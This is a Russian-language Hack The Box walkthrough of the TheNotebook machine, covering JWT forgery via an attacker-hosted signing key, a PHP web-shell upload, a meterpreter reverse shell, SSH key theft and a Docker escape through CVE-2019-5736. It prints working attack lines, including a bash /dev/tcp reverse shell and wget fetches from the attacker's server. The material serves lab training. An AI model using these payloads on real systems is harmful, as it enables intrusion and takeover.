Хакер - HTB TheNotebook. Совершаем побег из Docker, чтобы захватить рут
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа. Манипуляции JWT
- Точка опоры. Уязвимость при загрузке файлов
- Продвижение
- Локальное повышение привилегий
В этой статье мы на примере средней по сложности машины TheNotebook с Hack The Box поработаем с технологией JSON Web Token, проэксплуатируем уязвимость при загрузке файлов на сервер и посмотрим, как работает одна из техник Docker Breakout — побега из контейнера Docker.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Адрес машины сразу же кидаем в /etc/hosts, чтобы дальше набирать только название.
10.10.10.230 thenotebook.htb
И, как и любая другая атака, работа над виртуалкой начинается со сканирования портов. Привожу свой традиционный скрипт, который делает это в два прохода при помощи Nmap.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

По результатам сканирования имеем два открытых порта: 22 (служба SSH) и 80 (веб‑сервер nginx 1.14.0). Для начала внимательно осмотримся на сайте и соберем информацию.
Сайт предоставляет возможность регистрации и дальнейшей авторизации. Стоит сразу выполнить эти действия, так как очень высока вероятность тем самым увеличить поверхность атаки.

После авторизации нам открываются функции создания, хранения и чтения заметок. А это потенциальная точка входа.

В данном случае стоит просмотреть все запросы к серверу и его ответы. Не исключено, что таким образом обнаружатся логические ошибки в приложении. Для отлова всех запросов и ответов проксируем их через Burp. Настроив его, проходим полный цикл работы с заметкой: создаем ее и просматриваем.


А теперь смотрим историю запросов в Burp.

При просмотре запросов сразу обратим внимание на используемые cookie. По формату авторизационная печенька уж очень похожа на JWT.

ТОЧКА ВХОДА. МАНИПУЛЯЦИИ JWT
JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, а нагрузка может быть любой — это именно те критические данные, которые передаются приложению.
Заголовок содержит поля:
alg— алгоритм, используемый для подписи/шифрования. Это обязательный ключ;typ— тип токена. Должно иметь значениеJWT;cty— тип содержимого.
Третий элемент вычисляется на основании первых и зависит от выбранного алгоритма. Токены могут быть перекодированы в компактное представление: к заголовку и полезной нагрузке применяется алгоритм кодирования Base64-URL, после чего добавляется подпись и все три элемента разделяются точками (как на скриншоте выше).
Попробуем разобрать данные. Для этого нам понадобится либо приложение jwt_tool, либо онлайновый сервис jwt.io. Я выбрал jwt.io, чтобы ничего не устанавливать, и дальше буду использовать его.
В нашем варианте в заголовке присутствует ключ kid, указывающий на приватный ключ, а в качестве подписанных данных значатся используемые при регистрации данные — имя пользователя и адрес электронной почты. Но в данных присутствует еще один ключ admin_cap, скорее всего обозначающий наличие привилегий.

Что делать дальше, понятно — нужно изменить ключ, отвечающий за наличие привилегий администратора, подписать новые данные, сгенерировать новый JWT и заменить старый на сервисе заметок. Наличие привилегий администратора может дать ряд своих преимуществ — от чтения приватной информации до установки на сервис разных дополнений (что, скорее всего, приведет нас к удаленному выполнению кода).
С изменением ключа admin_cap все ясно, просто выставим единичку. Но что сделать с подписью? В заголовке указан адрес приватного ключа, что наталкивает на идею: сгенерировать свою пару ключей для подписи токена, разместить их на своем веб‑сервере и затем в заголовке указать адрес ключа на этом сервере. Сначала сгенерируем пару ключей, а потом переведем в формат PEM.
ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key
openssl rsa -in privKey.key -pubout -outform PEM -out pubKey.key.pub

Теперь запустим в той же директории простой веб‑сервер на основе Python 3.
python3 -m http.server
Пора генерировать новый токен. Изменяем значения по ключам admin_cap и kid, во втором случае указываем URL сгенерированного ключа. Также вставляем сгенерированные публичный и приватный ключи в поля Verify Signature. Если ты все сделал правильно, то ниже токена увидишь надпись Signature Verified.

Вставляем новый токен в cookie, например с помощью расширения для браузера Cookie Editor, и обновляем страницу. В окне запущенного веб‑сервера увидим обращение к файлу ключа, а в браузере, если обновить страницу, появится ссылка на админскую панель.


ТОЧКА ОПОРЫ. УЯЗВИМОСТЬ ПРИ ЗАГРУЗКЕ ФАЙЛОВ
Нам стали доступны для просмотра заметки администратора — можно поискать в них что‑нибудь интересное. Но помимо этого, открылась форма для загрузки файлов. Среди админских заметок видим упоминание исполнения файлов PHP, а это потенциальный вектор атаки.

Попробуем загрузить PHP-скрипт, который будет принимать команду в параметре c и выполнять ее с помощью функции system. После загрузки нам покажут, с каким именем был загружен файл.
<?php echo system($_GET["c"]); ?>


Теперь обратимся к загруженному бэкдору и передадим ему команду id. Команда успешно выполнена, а мы понимаем, что работаем в контексте учетной записи веб‑сервера.

Так как загруженный шелл работает, мы можем закинуть еще один, более удобный, который может дать нам интерактивную консоль. Я для этих целей выбрал Meterpreter. Сгенерировать соответствующий файл можно двумя следующими строками кода.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.178 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Первая строка генерирует основной код нагрузки с помощью msfvenom. Здесь нужно указать локальный адрес и порт для бэкконнекта, а также формат сохранения данных. Вторая команда оформит сгенерированный код в теги PHP.

Теперь запустим универсальный листенер в Metasploit. За это отвечает модуль handler, которому требуется знать тип нагрузки, а также локальные адрес и порт, где нужно принимать соединение.
msfconsole
handler -p php/meterpreter_reverse_tcp -H 10.10.14.178 -P 4321

Загружаем на сервер сгенерированный файл, запускаем его и получаем бэкконнект. Активируем только что созданную сессию командой session -i 1 и проверяем контекст, в котором мы работаем (команда getuid).

Мы подключились как пользователь www-data, а значит, впереди еще эскалация привилегий.
ПРОДВИЖЕНИЕ
Как найти путь для дальнейшего продвижения? Можно проверять вручную все возможные варианты эскалации привилегий (о них читай в статье «Право на root»), а можно воспользоваться готовыми скриптами. Загрузим на локальный хост скрипт для Linux.
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. Благо meterpreter имеет встроенную функцию upload для загрузки файлов. Получив интерактивный шелл, назначим право на выполнение и запустим этот чудо‑скрипт.
upload /tmp/linpeas.sh /tmp
shell
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

В пункте, где перечислены интересные файлы, видим бэкап домашней директории пользователя, в том числе и ключи SSH.


Копируем этот приватный ключ на локальный хост и обязательно назначаем ему строго определенные права командой chmod 0600 id_rsa. После подключения от имени пользователя noah забираем первый флаг.
ssh -i id_rsa noah@thenotebook.htb

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Наиболее вероятное место для повышения привилегий — это настройки sudoers и приложения с выставленным битом SUID. Пишем sudo -l, чтобы проверить, какие команды можно запускать от имени рута.

Видим, что любой пользователь (ALL) может выполнить вот эту команду в привилегированном контексте без ввода пароля (NOPASSWD):
/usr/bin/docker exec -it webapp-dev01*
В коллекции GTFOBins для этой команды готового рецепта нет. Поэтому начнем копать самостоятельно и первым делом выясним, какая версия Docker у нас используется.
docker version

Итак, это версия 18.06.0-ce. Нам остается только поискать эксплоиты для нее. Если у тебя стоит Kali Linux, то первым делом можешь попробовать поискать при помощи утилиты searchsploit:
searchsploit docker

Два последних перечисленных эксплоита помечены как Docker Breakout — побег из контейнера Docker. И наша версия удовлетворяет условию. Я выбрал эксплоит 46369, который нацелен на баг CVE-2019-5736. С его помощью вредоносный контейнер может переписать на хосте бинарник runc и таким образом дает возможность выполнять на хосте команды от имени рута.
Но есть условие: мы можем запускать любые команды с правами root в рамках контейнера в двух контекстах:
- создание нового контейнера из контролируемого нами образа;
- подключение (docker exec) к существующему контейнеру с доступом на запись.
Команда из sudoers обеспечивает нам второй контекст. При поиске готового PoC я нашел на GitHub реализацию эксплоита на языке Go. В коде нужно изменить выполняемую команду (строка 16). Вариантов много, я выбрал вот такой реверс‑шелл (следует указать локальные адрес и порт):
bash -i >& /dev/tcp/[IP]/[PORT] 0>&1


Остается собрать этот код. Если у тебя не установлен Go, то понадобится установить.
apt intstall golang
go build main.go
Теперь создаем листенер, который будет принимать наше соединение. Я рекомендую использовать оболочку rlwrap, а в качестве листенера возьмем netcat.
apt install rlwrap
rlwrap nc -lvp [port]
Когда все готово к эксплуатации, открываем вторую консоль и авторизуемся в ней по SSH. Так как нам нужно будет загрузить готовый эксплоит в контейнер, запустим простой HTTP-сервер на локальной машине в директории, где расположен собранный эксплоит.
python3 -m http.server
Теперь мы сможем загрузить эксплоит прямо из Docker с помощью wget. В первой консоли подключаемся к Docker, загружаем эксплоит, даем файлу право на выполнение и выполняем.
sudo docker exec -it webapp-dev01 /bin/bash
wget 10.10.14.178:8000/main -O /tmp/main
chmod +x /tmp/main
/tmp/main

Видим сообщение о перезаписи файла оболочки. Теперь подключимся к образу из второй консоли.
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

В это время в первой консоли можем следить за успешным выполнением атаки.


Таким путем мы захватываем данную машину и имеем над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei